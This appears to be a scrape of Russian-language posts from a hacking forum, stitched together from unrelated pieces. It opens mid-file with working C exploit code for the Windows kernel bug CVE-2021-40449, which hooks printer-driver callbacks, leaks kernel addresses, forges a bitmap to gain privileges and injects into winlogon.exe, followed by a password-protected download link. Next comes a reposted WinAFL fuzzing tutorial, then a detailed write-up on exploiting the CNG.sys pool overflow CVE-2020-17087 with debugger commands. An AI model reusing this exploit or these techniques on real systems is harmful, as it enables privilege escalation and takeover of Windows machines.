else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
} else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
int main() {
printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");
pid = GetCurrentProcessId();
printf("[*] Current process pid: %i\n", pid);
HMODULE nt = LoadLibraryA("ntdll.dll");
HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
ULONG lpcbNeeded;
EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
return 1;
}
DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
free(drivers);
printf("[+] Got kernel address: 0x%llx\n", kernelAddr);
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
printf("[+] Got needed function addresses: \n --> NtQuerySystemInformation: 0x%llx\n --> NtSetInformationThread: 0x%llx\n --> RtlSetAllBits: 0x%llx\n", (DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);
HANDLE token;
DWORD64 tokenAddress = 0;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
for (int i = 0; i < 0x100; i++) {
tokenAddress = PtrFromHandle(token, 0x5);
if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
}
//Creating fake bitmap
DWORD threadId;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0x41, 0x20);
*(DWORD64*)buf = 0x80;
*(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40);
UNICODE_STRING payload = {};
payload.Buffer = (PWSTR)buf;
payload.Length = 0x1000;
payload.MaximumLength = 0xffff;
DWORD outSize;
DWORD size = 1024 * 1024;
LPVOID infoBuf = LocalAlloc(LPTR, size);
bool found = false;
fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);
PBIG_POOL_INFO info;
ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
while (start < end) {
info = (PBIG_POOL_INFO)start;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
found = true;
break;
}
start += sizeof(BIG_POOL_INFO);
}
if (found == false) {
printf("[!] Can't leak address of fake bitmap!\n");
return 1;
}
else {
printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
}
// Setting up a hook
if(!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
} else {
printf("[+] Hooked a function!\n");
}
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
printf("[*] Injecting to winlogon.exe\n");
Inject();
return 0;
}
Эксплоит готов, осталось проверить!
Проверяем эксплоит
Чтобы не раздувать число символов, я записал видео:
Ссылки
Microsoft: <https://msrc.microsoft.com/update-
guide/vulnerability/CVE-2021-40449>
Анализы CVE-2021-40449 :
](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)
奇安信威胁情报中心红雨滴团队通过对漏洞CVE-2021-40449进行详细分析,编写了可以针对大部分受影响Windows系统进行权限提升的Exploit程序,重现了整个攻击过程,确认了该漏洞的危害性。
mp.weixin.qq.com
](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)
CVE-2021-40449 Introduction The vulnerability in question is a Use After Free in a kernel function in win32kfull.sys. It depends on a unique mechanism that the graphics system uses which is called Usermode Callbacks - a way for the kernel to call usermode functions.
kristal-g.github.io
Kaspersky : <https://securelist.com/mysterysnail-attacks-with-windows-
zero-day/104509/>
ThreadName техника : <https://blahcat.github.io/2019/03/17/small-dumps-in-
the-big-pool/>
Мои прошлые статьи :
Итоги
Вот такая новогодняя статья у меня получилась, надеюсь оцените. Если у вас
будут вопросы - пишите в теме, или в пм, буду рад подсказать. Как я понял по
количеству реакций под прошлыми статьями, тема эксплуатации ядра Windows
интересная и актуальная, постараюсь писать больше содержательных статей!
Архив с комплектом win32k, я приложил прямо тут - внизу. А iso образ windows, залил на мегу (пароль местный):
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)
](https://mega.nz/file/hRoT2CDC#n9vC5HH4XlKUYrINTJO0o5rmVHrPxshD5DtpmHj3c0o)
mega.nz
Спасибо за прочтение,
Azrv3l cпециально для xss.is
WinAFL — это форк знаменитого фаззера AFL, предназначенный для фаззинга программ с закрытым исходным кодом под Windows. Работа WinAFL описана в документации, но пройти путь от загрузки тулзы до успешного фаззинга и первых крашей не так просто, как может показаться на первый взгляд.
Так же как и AFL, WinAFL собирает информацию о покрытии кода. Делать это он может тремя способами:
Мы остановимся на классическом первом варианте как самом простом и понятном.
Фаззит WinAFL следующим образом:
Такой подход позволяет не тратить лишнее время на запуск и инициализацию программы и значительно увеличить скорость фаззинга.
Из логики работы WinAFL вытекают простые требования к целевой функции для фаззинга. Целевая функция должна:
В репозитории WinAFL на GitHub уже лежат скомпилированные бинари, но у меня они просто не захотели работать, поэтому для того, чтобы не пришлось разбираться с лишними проблемами, скомпилируем WinAFL вместе с самой последней версией DynamoRIO. К счастью, WinAFL относится с тем немногочисленным проектам, которые компилируются без проблем на любой машине.
Code:Copy to clipboard
mkdir build32
cd build32
cmake -G"Visual Studio 16 2019" -A Win32 .. -DDynamoRIO_DIR=..\path\to\DynamoRIO\cmake -DINTELPT=0 -DUSE_COLOR=1
cmake --build . --config Release
Для компиляции 64-битной версии — такие:
Code:Copy to clipboard
mkdir build64
cd build64
cmake -G"Visual Studio 16 2019" -A x64 .. -DDynamoRIO_DIR=..\path\to\DynamoRIO\cmake -DINTELPT=0 -DUSE_COLOR=1
cmake --build . --config Release
В моем случае эти команды выглядят так:
Code:Copy to clipboard
cd C:\winafl_build\winafl-master\
mkdir build32
cd build32
cmake -G"Visual Studio 16 2019" -A Win32 .. -DDynamoRIO_DIR=C:\winafl_build\DynamoRIO-Windows-8.0.18915\cmake -DINTELPT=0 -DUSE_COLOR=1
cmake --build . --config Release
<WinAFL dir>\build<32/64>\bin\Release
будут лежать рабочие бинари WinAFL. Скопируй их и папку с DynamoRIO на виртуалку, которую будешь использовать для фаззинга.AFL создавался для фаззинга программ, которые парсят файлы. Хотя WinAFL можно применять для программ, использующих другие способы ввода, путь наименьшего сопротивления — это выбор цели, использующей именно файлы.
Если же тебе, как и мне, нравится дополнительный челлендж, ты можешь пофаззить сетевые программы. В этом случае тебе придется использовать custom_net_fuzzer.dll из состава WinAFL либо писать свою собственную обертку.
К сожалению, custom_net_fuzzer будет работать не так быстро, потому что он
отправляет сетевые запросы своей цели, а на их обработку будет тратиться
дополнительное время.
Однако фаззинг сетевых приложений выходит за рамки этой статьи. Оставь
комментарий, если хочешь отдельную статью на эту тему.
Таким образом:
Удивительно, но большинство разработчиков не думают о WinAFL, когда пишут свои программы. Поэтому если твоя цель не соответствует этим критериям, то ее все равно можно при желании адаптировать к WinAFL.
Мы поговорили об идеальной цели, но реальная может быть от идеала далека, поэтому для примера я взял программу из старых запасов, которая собрана статически, а ее основной исполняемый файл занимает 8 Мбайт.
У нее много всяких возможностей, так что, думаю, ее будет интересно пофаззить.
Моя цель принимает на вход файлы, поэтому первое, что сделаем после загрузки бинаря в IDA Pro, — это найдем функцию CreateFileA в импортах и посмотрим перекрестные ссылки на нее.
Мы сразу же можем увидеть, что она используется в четырех функциях. Вместо того чтобы реверсить каждую из них в статике, посмотрим в отладчике, какая именно функция вызывается для парсинга файла.
Откроем нашу программа в отладчике (я обычно использую x64dbg) и добавим аргумент к командной строке — тестовый файл. Откуда я его взял? Просто открыл программу, выставил максимальное число опций для документа и сохранил его на диск.
Дальше на вкладке Symbols выберем библиотеку kernelbase.dll и поставим точки останова на экспорты функций CreateFileA и CreateFileW.
Один любопытный момент. «Официально» функции CreateFile* предоставляются библиотекой kernel32.dll. Но если посмотреть внимательнее, то это библиотека содержит только jmp на соответствующие функции kernelbase.dll.
Я предпочитаю ставить брейки именно на экспорты в соответствующей библиотеке. Это застрахует нас от случая, когда мы ошиблись и эти функции вызывает не основной исполняемый модуль (.exe), а, например, какие‑то из библиотек нашей целей. Также это полезно, если наша программа захочет вызвать функцию с помощью GetProcAddress.
После установки брейкпойнтов продолжим выполнение программы и увидим, как она совершает первый вызов к CreateFileA. Но если мы обратим внимание на аргументы, то поймем, что наша цель хочет открыть какой‑то из своих служебных файлов, не наш тестовый файл.
Продолжим выполнение программы, пока не увидим в списке аргументов путь к нашему тестовому файлу.
Перейдем на вкладку Call Stack и увидим, что CreateFileA вызывается не из нашей программы, а из функции CFile::Open библиотеки mfc42.
Так как мы только ищем функцию для фаззинга, нам нужно помнить, что она должна принимать путь к входному файлу, делать что‑то с файлом и завершать свою работу настолько чисто, насколько это возможно. Поэтому мы будем подниматься по стеку вызовов, пока не найдем подходящую функцию.
Скопируем адрес возврата из CFile::Open (125ACBB0)
, перейдем по нему в IDA и
посмотрим на функцию. Мы сразу же увидим, что эта функция принимает два
аргумента, которые далее используются как аргументы к двум вызовам
CFile::Open.
Судя по прототипам CFile::Open из документации [MSDN](https://docs.microsoft.com/en-us/cpp/mfc/reference/cfile- class?view=msvc-160#open), наши переменные a1 и a2 — это пути к файлам. Обрати внимание, что в IDA путь к файлу передается функции CFile::Open в качестве второго аргумента, так как используется thiscall.
Code:Copy to clipboard
virtual BOOL Open(
LPCTSTR lpszFileName,
UINT nOpenFlags,
CFileException* pError = NULL);
virtual BOOL Open(
LPCTSTR lpszFileName,
UINT nOpenFlags,
CAtlTransactionManager* pTM,
CFileException* pError = NULL);
Эта функция уже выглядит очень интересно, и стоит постараться рассмотреть ее подробнее. Для этого я поставлю брейки на начало и конец функции, чтобы изучить ее аргументы и понять, что с ними происходит к концу функции.
Сделав это, перезапустим программу и увидим, что два аргумента — это пути к нашему тестовому файлу и временному файлу.
Самое время посмотреть на содержимое этих файлов. Судя по содержимому нашего тестового файла, он сжат, зашифрован или каким‑то образом закодирован.
Временный же файл просто пуст.
Выполним функцию до конца и увидим, что наш тестовый файл все еще зашифрован, а временный файл по‑прежнему пуст. Что ж, убираем точки останова с этой функции и продолжаем отслеживать вызовы CreateFileA. Следующее обращение к CreateFileA дает нам такой стек вызовов.
Функция, которая вызывает CFile::Open, оказывается очень похожей на предыдущую. Точно так же поставим точки останова в ее начале и конце и посмотрим, что будет.
Список аргументов этой функции напоминает то, что мы уже видели.
Срабатывает брейк в конце этой функции, и во временном файле мы видим расшифрованное, а скорее даже разархивированное содержимое тестового файла.
Таким образом, эта функция разархивирует файл. Поэкспериментировав с программой, я выяснил, что она принимает на вход как сжатые, так и несжатые файлы. Нам это на руку — с помощь фаззинга несжатых файлов мы сможем добиться гораздо более полного покрытия кода и, как следствие, добраться до более интересных фич.
Посмотрим, сможем ли мы найти функцию, которая выполняет какие‑то действия с уже расшифрованным файлом.
Один из подходов к выбору функции для фаззинга — это поиск функции, которая одной из первых начинает взаимодействовать с входным файлом. Двигаясь вверх по стеку вызовов, найдем самую первую функцию, которая принимает на вход путь к тестовому файлу.
Функция для фаззинга должна выполняться до конца, поэтому ставим точку останова на конец функции, чтобы быть уверенными, что это требование выполнится, и жмем F9 в отладчике.
Также убедимся, что эта функция после возврата закрывает все открытые файлы. Для этого проверим список хендлов процесса в Process Explorer — нашего тестового файла там нет.
Видим, что наша функция соответствует требованиям WinAFL. Попробуем начать фаззить!
Мои аргументы для WinAFL выглядят примерно так. Давай разберем по порядку самые важные из них.
Code:Copy to clipboard
afl-fuzz.exe -i c:\inputs -o c:\winafl_build\out-plain -D C:\winafl_build\DynamoRIO-Windows-8.0.18915\bin32 -t 40000 -x C:\winafl_build\test.dict -f test.test -- -coverage_module target.exe -fuzz_iterations 1000 -target_module target.exe -target_offset 0xA4390 -nargs 3 -call_convention thiscall -- "C:\Program Files (x86)\target.exe" "@@"
Все аргументы делятся на три группы, которые отделяются друг от друга двумя прочерками.
Первая группа — аргументы WinAFL:
Вторая группа — аргументы для библиотеки winafl.dll, которая инструментирует целевой процесс:
Третья группа — путь к самой программе. WinAFL изменит @@ на полный путь к входному файлу.
Наша цель простая — увеличить количество путей, находимых за секунду. Для этого ты можешь распараллелить работу фаззера, поиграть с числом fuzz_iterations или попробовать фаззить умнее. И в этом тебе поможет словарь.
WinAFL умеет восстанавливать синтаксис формата данных цели (например, AFL смог самостоятельно [создать валидные JPEG-файлы без какой‑либо дополнительной инфы](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin- air.html)). Обнаруженные синтаксические единицы он использует для генерации новых кейсов для фаззинга. Это занимает значительное время, и здесь ты можешь ему сильно помочь, ведь кто, как не ты, лучше всего знает формат данных твоей программы? Для этого нужно составить словарь в формате <имя переменной>="значение". Например, вот начало моего словаря:
Code:Copy to clipboard
x0="ProgVer"
x1="WrittenByVersion"
x2="FileType"
x3="Created"
x4="Modified"
x5="Name"
x6="Core"
Итак, мы нашли функцию для фаззинга, попутно расшифровав входной файл программы, создали словарь, подобрали аргументы и можем наконец‑то начать фаззить!
И первые же минуты фаззинга приносят первые краши! Но не всегда все происходит так гладко. Ниже я привел несколько особенностей WinAFL, которые могут тебе помочь (или помешать) отладить процесс фаззинга.
Вначале я писал, что функция для фаззинга не должна иметь побочных эффектов. Но это в идеале. Часто бывает так, что разработчики забывают добавить в свои программы такие красивые функции, и приходится иметь дело с тем, что есть.
Так как некоторые эффекты накапливаются, возможно, тебе удастся успешно пофаззить, уменьшив число fuzz_iterations — с ней WinAFL будет перезапускать твою программу чаще. Это негативно повлияет на скорость, но зато уменьшит количество побочных эффектов.
Если WinAFL отказывается работать, попробуй запустить его в дебаг‑режиме. Для этого добавь параметр -debug к аргументам библиотеки инструментации. После этого в текущем каталоге у тебя появится текстовый лог. При нормальной работе в нем должно быть одинаковое количество строчек In pre_fuzz_handler и In post_fuzz_handler. Также должна присутствовать фраза Everything appears to be running normally.
Не забудь выключить дебаг‑режим! С ним WinAFL откажется фаззить, даже если все работает, ссылаясь на то, что целевая программа вылетела по тайм‑ауту. Не верь ему и выключай отладку.
Иногда при фаззинге программу так перемыкает, что она крашится даже на подготовительном этапе работы WinAFL, после чего он разумно отказывается действовать дальше. Чтобы хоть как‑то в этом разобраться, ты можешь вручную эмулировать работу фаззера. Для этого ставь точку останова на начало и конец функции для фаззинга. Когда выполнение достигнет конца функции, правь аргументы, равняй стек, меняй RIP/EIP на начало функции — и так, пока что‑то не сломается.
Stability — очень важный параметр. Он показывает, насколько карта покрытия кода меняется от итерации к итерации. 100% — на каждой итерации программа ведет себя абсолютно одинаково. 0% — каждая итерация полностью отличается от предыдущей. Разумеется, нам нужно значение где‑то посередине. Автор AFL решил, что ориентироваться надо где‑то на 85%. В нашем примере стабильность держится на уровне 9,5%. Полагаю, это может быть связано в том числе с тем, что программа собрана статически и на стабильность негативно влияют какие‑то из используемых библиотечных функций. Возможно, и мультипоточность тоже повлияла на это.
Чем больше покрытие кода, тем выше шанс найти баг. А максимального покрытия кода можно добиться, создав хороший набор входных файлов. Если ты задался целью пофаззить парсеры файлов каких‑то хорошо известных форматов, то, как говорится, гугл в помощь: некоторым исследователям удавалось собрать внушительный набор файлов именно с помощью парсинга выдачи Google. Такой набор потом можно минимизировать с помощью скрипта [winafl-cmin.py](http://winafl- cmin.py) из того же репозитория WinAFL. А если ты, как и я, предпочитаешь парсилки файлов проприетарных форматов, то поисковик не так часто будет способен помочь. Приходится посидеть и поковыряться в программе, чтобы нагенерировать набор интересных файлов.
Моя программа довольно многословна и ругалась на неверный формат входного файла, показывая всплывающие сообщения.
Такие проблемы ты легко сможешь вылечить, пропатчив используемую программой библиотеку или саму программу.
автор moskvin-slava aka Вячеслав Москвин
xakep.ru
Обзор
CVE-2020-17087 - это уязвимость, связанная с переполнением пула в драйвере
Windows CNG.sys, которая, как было обнаружено, эксплуатировалась «in the
wild». Несмотря на то, что был проведен анализ первопричин уязвимости, метод
ее использования все еще остается относительно неизвестным. Наиболее
примечательной информацией было сообщение Google Project Zero (GP0) о том, что
образец ITW «использует переполнение буфера для создания произвольного
примитива чтения/записи в пространстве ядра с помощью объектов Named Pipe».
В этом сообщении мы описываем, как эта уязвимость может быть использована на основе метода атаки BlockSize кучи сегмента Windows 10.
Этот эксплойт был разработан для Windows 10 20H2 и тестировался на системах с 1903 по 20H2.
Технические детали
Как описано в системе отслеживания проблем GP0, основную причину можно найти в
функции cng!CfgAdtpFormatProeprtyBlock
, где запрошенный буфер преобразуется
в шестнадцатерый Unicode формат, поэтому запрошенный размер SrcLen умножается
на 6, чтобы получить получить размер выходного буфера. Однако размер,
передаваемый в cng!BCryptAlloc
, неправильно сокращается до 16 бит. Когда
srcLen превышает 0x10000/6, выделение приведет к уменьшению размера буфера и
последующему переполнению во время преобразования строки.
Пару слов о переполнении сегментной кучи в Windows 10
Перед тем, как мы начнем, стоит выделить соответствующую информацию о куче
сегментов [3] [4], методы эксплуатации [5] [6] [7] и прочее. Если вы знакомы,
не стесняйтесь переходить к следующему разделу.
Фрон-энд сегментной кучи : выделения в NonPagedPoolNx происходят из
nt!ExAllocatePoolWithTag
путем вызова внутренней функции ntoskrnl
nt!ExAllocateHeapPool
, которая затем вызывает соответствующие процедуры
выделения внешнего в зависимости от запрошенного размера, либо через LFH, либо
через выделение VS, если запрошеный размер достаточно велик. Для блоков
большего размера он перейдет к Выделению блоков через nt!RtlpHpLargeAlloc
.
Когда во внешнем распределителе недостаточно места, запрашивается новый
подсегмент, вызывая nt!RtlpHpSegAlloc
. Куча с низкой фрагментацией (LFH)
предназначена для часто используемых блоков размером менее 0x200 байт, они
выделяются через RtlpHpLfhContextAllocate
из Подсегмента LFH; Выделение
переменного размера (VS) предназначено для фрагментов размером в [0x200,
0xFE0] и (0xFE0, 0x20000], которые не выровнены по странице (size & 0xFFF! =
0), и они выделяются через RtlpHpVsContextAllocateInternal
из подсегмента
VS.
В общем, LFH включает в себя более мелкие фрагменты и обслуживает часто используемые размеры фрагментов по всему ядру, поэтому его сложнее контролировать и выполнять разметку. Учитывая ограничения, связанные с доступными уязвимостями и методами атаки, мы решили использовать VS распределитель для эксплойта.
Защитные страницы : во время экспериментов с макетом пула мы встречали
недоступные страницы примерно через каждые 0x10 страниц. Но уязвимость требует
как минимум 64 КБ «взлетно-посадочной полосы» для завершения переполнения. Это
на первый взгляд делает эксплуатацию невозможной. Согласно [4], «Когда
выделены подсегменты VS, подсегменты LFH и большие блоки, в конце подсегмента
/ блока добавляется защитная страница. Для подсегментов VS и LFH размер
подсегмента должен быть >= 64 КБ для того чтобы защитная страница была
добавлена. Страница защиты предотвращает последовательное переполнение из
блоков VS, блоков LFH и больших блоков в соседние данные вне подсегмента (для
блоков VS / LFH) или вне блока (для больших блоков) ». После более
внимательного чтения и экспериментов мы обнаружили, что размер подсегмента
может варьироваться от 64 КБ до 256 КБ, как отмечено в [5]. Иследуя
соответствующие функции в ntoskrnl, такие как nt!RtlpHpSegAlloc
и
nt!RtlpHpVsSubsegmentCreate
, мы обнаруживаем, что единственный возможный
размер - 128 КБ (0x20000) для работы этого эксплойта. Например, запросив блок
VS размером около 11 страниц (0xae70), мы можем получить новый подсегмент с 23
страницами (92 КБ) полезного пространства.
Атаки на заголовок пула : задачи CTF [6] [7] предназначены для эксплуатации заранее заложенной уязвимости, которая обычно имеет лучшие характеристики, и оказывается, что они не близки к этой конкретной ошибке. Однако две атаки, описанные в документе SSTIC [5], довольно близки, а именно атака PoolType (CacheAligned) и атака BlockSize. Из-за уникального шаблона перезаписи этой ошибки «XX 00 XX 00 20 00», только байтом BlockSize можно управлять до нескольких ограниченных значений, поскольку этот байт находится на четном адресе, а нечетные байты не контролируются:
Code:Copy to clipboard
Breakpoint 0 hit
cng!CfgAdtpFormatPropertyBlock+0x4e:
fffff803`3fd524aa e83549faff call cng!BCryptAlloc (fffff803`3fcf6de4)
1: kd> dt nt!_POOL_HEADER rax-10
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00110111 (0x37) ; 0x37 << 4 = 0x370 bytes
+0x002 PoolType : 0y00000010 (0x2) ; NonPagedPoolMustSucceed
+0x000 Ulong1 : 0x2370000
+0x004 PoolTag : 0x62676e43 ; "Cngb"
+0x008 ProcessBilled : 0xffff9d88`074b3b49 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x3b49
+0x00a PoolTagHash : 0x74b
Dynamic Lookaside: «Освободившийся фрагмент размером от 0x200 до 0xF80
байтов может быть временно сохранен в резервном списке, чтобы обеспечить
быстрое выделение. Пока они находятся в lookaside, эти фрагменты не будут
проходить через соответствующий механизм backend-free». В статье SSTIC [5]
описана изящная техника включения резервных списков для блоков VS
определённого размера. Это важная часть атаки BlockSize и атаки PoolType.
Короче говоря, предоставленный алгоритм может настраивать диспетчер набора
баланса и динамический резервный список таким образом, чтобы были включены
наиболее часто используемые размеры фрагментов с момента последней
перебалансировки. Это позволит надежно освободить и перераспределить один и
тот же фрагмент, даже если этот фрагмент имеет поврежденный заголовок
фрагмента VS, поскольку фрагмент только временно переходит в динамический
резервный список (т.е. не освобождается на самом деле, что позволяет избежать
BSOD). В этом эксплойте это позволило бы нам преобразовать ограниченное
переполнение пула в контролируемое переполнение пула с помощью «фантомного
фрагмента»; поиск поврежденного фрагмента путем многократного освобождения и
выделения фрагментов из массива; и реализовать примитив произвольного
декремента с атакой перезаписи указателя процесса квоты.
**
Распыление объектов Named-Pipe** : для распределений в NonPagedPoolNx
,
именованные каналы это хорошо документированный метод распыления
контролируемых данных, его также можно использовать для создания произвольных
примитивов чтения. Мы можем создать пару дескрипторов именованного канала для
чтения и записи с помощью CreatePipe
, которые будут создавать объект
_NP_CCB
и _NP_FCB
, они связаны с объектом FileObject
именованного канала
из таблицы дескрипторов процесса и связаны с объектом DataQueue
_NP_DATA_QUEUE
. Объект _NP_DATA_QUEUE_ENTRY
выделяется и помещается в
DataQueue, когда данные записываются в дескриптор записи именованного канала с
помощью WriteFile
. Объект _NP_DATA_QUEUE_ENTRY
имеет заголовок 0x30 байтов
и дополнительные буферизованные данные, которыми можно полностью управлять (в
[3] он упоминается как struct PipeQueueEntry
). Точный рабочий механизм может
быть найден в исходном коде ReactOS на npfs и при реверсинге соответствующих
функций npfs.sys. Ключевые функции: NpAddDataQueueEntry
,
NpRemoveDataQueueEntry
, NpPeek
, NpInternalRead
и тд
В этом эксплойте есть два основных использования объектов
_NP_DATA_QUEUE_ENTRY
. Переписывая оба поля _NP_DATA_QUEUE_ENTRY
.
{QuotaInEntry
, DataSize
} на более крупные значения, мы можем считывать
данные за пределами диапазона с помощью PeekNamedPipe
, чтобы выполнить
утечку указателя DataQueue
следующего объекта DQE. Во-вторых, записав
утекший указатель DataQueue
в следующий блок (нам нужен действительный
указатель очереди, чтобы избежать BSOD) и изменив DataEntryType
с 0 (с
буферизацией) на 1 (без буферизации), мы можем изменить объект DQE на режим
без буферизации, который использует указатель Irp в качестве источника данных.
Указав Irp на фальшивую структуру _IRP
пользовательского режима, мы можем
сбросить указатель AssociatedIrp.SystemBuffer
в пользовательском режиме
перед каждым запросом чтения, тем самым мы можем построить произвольный
примитив чтения.
C++:Copy to clipboard
struct _NP_DATA_QUEUE_ENTRY {
+0x00 LIST_ENTRY QueueEntry;
+0x10 PIRP Irp; // Для Unbuffered и AAR примитива
+0x18 PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
+0x20 ULONG DataEntryType; // Buffered 0, Unbuffered 1
+0x24 ULONG QuotaInEntry; // Переписать, чтобы получить AAR
+0x28 ULONG DataSize; // Переписать, чтобы получить AAR
};
struct _NP_DATA_QUEUE {
LIST_ENTRY Queue; // указатель на _NP_DATA_QUEUE_ENTRY
ULONG QueueState; // 1 (WriteEntries)
ULONG BytesInQueue;
ULONG EntriesInQueue;
ULONG QuotaUsed;
ULONG ByteOffset;
ULONG Quota;
};
struct _NP_CCB; // Named Pipe Client Control Block
struct _NP_FCB; // Named Pipe File Control Block
Перезапись указателя процесса квоты : когда для блока установлен бит
PoolQuota(0x8) в _POOL_HEADER.PoolType
, поле ProcessBilled связано со
структурой _EPROCESS
процесса-владельца. Выделение и освобождение фрагментов
со статистикой квот приводит к увеличению или уменьшению значения
EPROCESS_QUOTA_BLOCK
, на которое указывает _EPROCESS.QuotaBlock
. Как
только мы получили возможность перезаписывать поле ProcessBilled, мы можем
создать произвольный примитив декремента с созданным указателем QuotaBlock.
Обратите внимание, что из-за изменений в сборках Windows 10 структуры данных
могут изменяться с течением времени, и этот метод может иметь побочные эффекты
в зависимости от значений полей в токене процесса. Метод требует произвольного
чтения для утечки адреса блока и значения nt!ExpPoolQuotaCookie
для
кодирования указателя _EPROCESS, который имеет созданный указатель QuotaBlock,
который указывает рядом с полем Token.Privileges
.
**
Условия эксплуатации**
Во время эксплуатации уязвимости мы отмечаем, что существуют некоторые
уникальные условия, которые отличают эту эксплуатацию от типичных переполнений
пула:
Хотя (1) и (2) дают некоторую гибкость в потенциальном диапазоне объектов, которые мы можем перезаписать, и возможном макете, который мы можем иметь, (3) на самом деле делает эксплуатацию довольно сложной, потому что и контент, и смещение для перезаписи становятся довольно ограничительный. Это ограничивает выбор компоновки, объектов и метода атаки для сегментной кучи 1903-20H2.
Стратегия эксплуатации
Шаги эксплуатации в Windows 10 x64 20H1 кратко описаны ниже. Мы используем
следующие термины: «g» для групп, рисунок больших кусков спрея; 'd' для
манекена, ассигнования для формирования групп; целевые блоки предназначены для
перезаписи ожидаемого блока; фрагменты отверстий располагаются таким образом,
чтобы уязвимый буфер CNG.sys размещался в макете; куски заполнения
используются для стабилизации кусков отверстий.
1. Группы распыления
Из-за уникального требования уязвимости в выходной буфер CNG записано более 64
КБ. И из-за свойств Segment Heap, обычно каждый подсегмент VS имеет размер не
более 64 КБ и завершается защитной страницей до и после подсегмента. Идея
состоит в том, чтобы запросить достаточно большой запрос VS, чтобы было
выделено более 64 КБ. Кроме того, мы хотим, чтобы распределения были в двух
больших группах (g2 и g3), так что hole блоки находились в первой группе, а
целевые блоки - во второй группе. В идеале каждая из двух групп должна иметь
размер 0x10 страниц каждая, так что независимо от того, какое отверстие занято
буфером CNG, результирующее переполнение гарантированно перезапишет один
целевой фрагмент с желаемым смещением, но не попадет на страницу защиты.
Code:Copy to clipboard
; Windows 10 20H1 19041.572
.text:00000001C00624A7 movzx ecx, di ; NumberOfBytes
.text:00000001C00624AA call BCryptAlloc ; truncated
.text:00000001C00624AF mov rdx, rax
bu /p ffff9c833549f080 !cng + 624AA
PAGE:00000001C000D571 mov edx, edx ; NumberOfBytes
PAGE:00000001C000D573 mov ecx, 308h ; PoolType
PAGE:00000001C000D578 mov r8d, 7246704Eh ; Tag 'NpFr'
PAGE:00000001C000D57E call cs:__imp_ExAllocatePoolWithQuotaTag
PAGE:00000001C000D585 nop dword ptr [rax+rax+00h]
bu /p ffff9c833549f080 !npfs + D58A ".printf \"[+] Allocated %x bytes DataEntry at %p\\n\",r13, rax; g"
.text:00000001402C7C36 call RtlpHpVsSubsegmentCreate
.text:00000001402C7C3B mov rsi, rax
bu /p ffff9c833549f080 !nt + 2C7C3B ".printf \"[+] RtlpHpVsSubsegmentCreate(req=%x): alloc %p size %x \\n\",r13,rax,poi(rax+20)&0xffff; g"
